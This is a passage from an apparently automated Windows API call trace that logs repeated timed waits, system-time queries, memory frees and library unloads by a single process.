bAlertable=0) returned 0x0 [0123.075] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0123.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2a37952c, dwHighDateTime=0x1d9eb0c)) [0123.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x2a37952c, dwHighDateTime=0x1d9eb0c)) [0123.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x2a37952c, dwHighDateTime=0x1d9eb0c)) [0123.084] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0123.889] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0123.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2ab5f220, dwHighDateTime=0x1d9eb0c)) [0123.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x2ab5f220, dwHighDateTime=0x1d9eb0c)) [0123.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x2ab5f220, dwHighDateTime=0x1d9eb0c)) [0123.904] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0124.715] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0124.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2b345067, dwHighDateTime=0x1d9eb0c)) [0124.742] free (_Block=0x196ef0d2040) [0124.742] FreeLibrary (hLibModule=0x7ffa77c00000) returned 1 [0124.751] free (_Block=0x196ef0ccda0) [0124.752] free (_Block=0x196ef0cd160) [0124.752] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0125.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2b9d35d2, dwHighDateTime=0x1d9eb0c)) [0125.420] free (_Block=0x196ef0d1de0) [0125.420] FreeLibrary (hLibModule=0x7ffa77c00000) returned 1 [0125.422] free (_Block=0x196ef0cc850) [0125.423] free (_Block=0x196ef0ccda0) [0125.423] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0126.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2c2ea9b5, dwHighDateTime=0x1d9eb0c)) [0126.378] free (_Block=0x196ef0d2040) [0126.378] FreeLibrary (hLibModule=0x7ffa77c00000) returned 1 [0126.385] free (_Block=0x196ef0ccda0) [0126.386] free (_Block=0x196ef0cd160) [0126.386] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0127.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2cc07941, dwHighDateTime=0x1d9eb0c)) [0127.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x2cc07941, dwHighDateTime=0x1d9eb0c)) [0127.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x2cc07941, dwHighDateTime=0x1d9eb0c)) [0127.336] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0128.212] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0128.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2d47fa44, dwHighDateTime=0x1d9eb0c)) [0128.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x2d47fa44, dwHighDateTime=0x1d9eb0c)) [0128.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x2d47fa44, dwHighDateTime=0x1d9eb0c)) [0128.229] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0128.662] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0128.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x2d8d5d70, dwHighDateTime=0x1d9eb0c)) [0128.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x2d8d5d70, dwHighDateTime=0x1d9eb0c)) [0128.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x2d8d5d70, dwHighDateTime=0x1d9eb0c)) [0128.677] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x102 [0138.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x33886985, dwHighDateTime=0x1d9eb0c)) [0138.708] free (_Block=0x196ef0d1a20) [0138.708] FreeLibrary (hLibModule=0x7ffa77c00000) returned 1 [0138.711] free (_Block=0x196ef0cc850) [0138.712] free (_Block=0x196ef0ccda0) [0138.712] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0176.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x49fe3833, dwHighDateTime=0x1d9eb0c)) [0176.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x49fe3833, dwHighDateTime=0x1d9eb0c)) [0176.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x49fe3833, dwHighDateTime=0x1d9eb0c)) [0176.398] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0180.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4c903eed, dwHighDateTime=0x1d9eb0c)) [0180.710] free (_Block=0x196ef0d1cc0) [0180.710] FreeLibrary (hLibModule=0x7ffa7be80000) returned 1 [0180.711] free (_Block=0x196ef0d4e70) [0180.711] free (_Block=0x196ef0ccda0) [0180.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4c903eed, dwHighDateTime=0x1d9eb0c)) [0180.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4c903eed, dwHighDateTime=0x1d9eb0c)) [0180.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4c903eed, dwHighDateTime=0x1d9eb0c)) [0180.712] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0180.713] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4c903eed, dwHighDateTime=0x1d9eb0c)) [0180.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4c903eed, dwHighDateTime=0x1d9eb0c)) [0180.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4c903eed, dwHighDateTime=0x1d9eb0c)) [0180.716] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0180.727] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4c936f0b, dwHighDateTime=0x1d9eb0c)) [0180.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4c936f0b, dwHighDateTime=0x1d9eb0c)) [0180.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4c936f0b, dwHighDateTime=0x1d9eb0c)) [0180.729] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0180.738] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.831] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.831] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ca5b26b, dwHighDateTime=0x1d9eb0c)) [0180.844] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.844] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4caf3cb1, dwHighDateTime=0x1d9eb0c)) [0180.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4caf3cb1, dwHighDateTime=0x1d9eb0c)) [0180.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4caf3cb1, dwHighDateTime=0x1d9eb0c)) [0180.908] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0180.910] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4caf3cb1, dwHighDateTime=0x1d9eb0c)) [0180.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4caf3cb1, dwHighDateTime=0x1d9eb0c)) [0180.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4caf3cb1, dwHighDateTime=0x1d9eb0c)) [0180.912] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0180.916] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cb19ea6, dwHighDateTime=0x1d9eb0c)) [0180.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cb19ea6, dwHighDateTime=0x1d9eb0c)) [0180.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cb19ea6, dwHighDateTime=0x1d9eb0c)) [0180.921] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0180.923] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cb19ea6, dwHighDateTime=0x1d9eb0c)) [0180.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cb19ea6, dwHighDateTime=0x1d9eb0c)) [0180.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cb19ea6, dwHighDateTime=0x1d9eb0c)) [0180.926] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0180.931] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cb40080, dwHighDateTime=0x1d9eb0c)) [0180.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cb40080, dwHighDateTime=0x1d9eb0c)) [0180.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cb40080, dwHighDateTime=0x1d9eb0c)) [0180.937] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0180.938] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cbb290d, dwHighDateTime=0x1d9eb0c)) [0180.985] free (_Block=0x196ef0d2000) [0180.985] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0180.985] free (_Block=0x196ef0d67b0) [0180.986] free (_Block=0x196ef0cc850) [0180.986] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0180.987] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cc4b13f, dwHighDateTime=0x1d9eb0c)) [0181.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cc4b13f, dwHighDateTime=0x1d9eb0c)) [0181.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cc4b13f, dwHighDateTime=0x1d9eb0c)) [0181.055] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.057] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cc719eb, dwHighDateTime=0x1d9eb0c)) [0181.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cc719eb, dwHighDateTime=0x1d9eb0c)) [0181.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cc719eb, dwHighDateTime=0x1d9eb0c)) [0181.061] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.063] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cc719eb, dwHighDateTime=0x1d9eb0c)) [0181.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cc719eb, dwHighDateTime=0x1d9eb0c)) [0181.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cc719eb, dwHighDateTime=0x1d9eb0c)) [0181.068] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.072] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cc97948, dwHighDateTime=0x1d9eb0c)) [0181.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cc97948, dwHighDateTime=0x1d9eb0c)) [0181.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cc97948, dwHighDateTime=0x1d9eb0c)) [0181.083] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.094] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ccbda32, dwHighDateTime=0x1d9eb0c)) [0181.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4ccbda32, dwHighDateTime=0x1d9eb0c)) [0181.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4ccbda32, dwHighDateTime=0x1d9eb0c)) [0181.097] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.099] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cd56321, dwHighDateTime=0x1d9eb0c)) [0181.155] free (_Block=0x196ef0d1d00) [0181.156] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.156] free (_Block=0x196ef0d67b0) [0181.156] free (_Block=0x196ef0ccda0) [0181.157] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cd56321, dwHighDateTime=0x1d9eb0c)) [0181.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cd56321, dwHighDateTime=0x1d9eb0c)) [0181.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cd56321, dwHighDateTime=0x1d9eb0c)) [0181.165] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.172] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ce6111c, dwHighDateTime=0x1d9eb0c)) [0181.270] free (_Block=0x196ef0d20a0) [0181.270] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.271] free (_Block=0x196ef0d67b0) [0181.271] free (_Block=0x196ef0ccda0) [0181.271] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.272] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.281] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.282] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.284] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.287] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4ce87547, dwHighDateTime=0x1d9eb0c)) [0181.289] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.290] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cead6aa, dwHighDateTime=0x1d9eb0c)) [0181.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cead6aa, dwHighDateTime=0x1d9eb0c)) [0181.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cead6aa, dwHighDateTime=0x1d9eb0c)) [0181.293] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.299] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4cead6aa, dwHighDateTime=0x1d9eb0c)) [0181.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4cead6aa, dwHighDateTime=0x1d9eb0c)) [0181.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4cead6aa, dwHighDateTime=0x1d9eb0c)) [0181.300] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.301] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ced3f36, dwHighDateTime=0x1d9eb0c)) [0181.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4ced3f36, dwHighDateTime=0x1d9eb0c)) [0181.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4ced3f36, dwHighDateTime=0x1d9eb0c)) [0181.321] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.468] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.470] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.471] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.473] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.474] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.476] 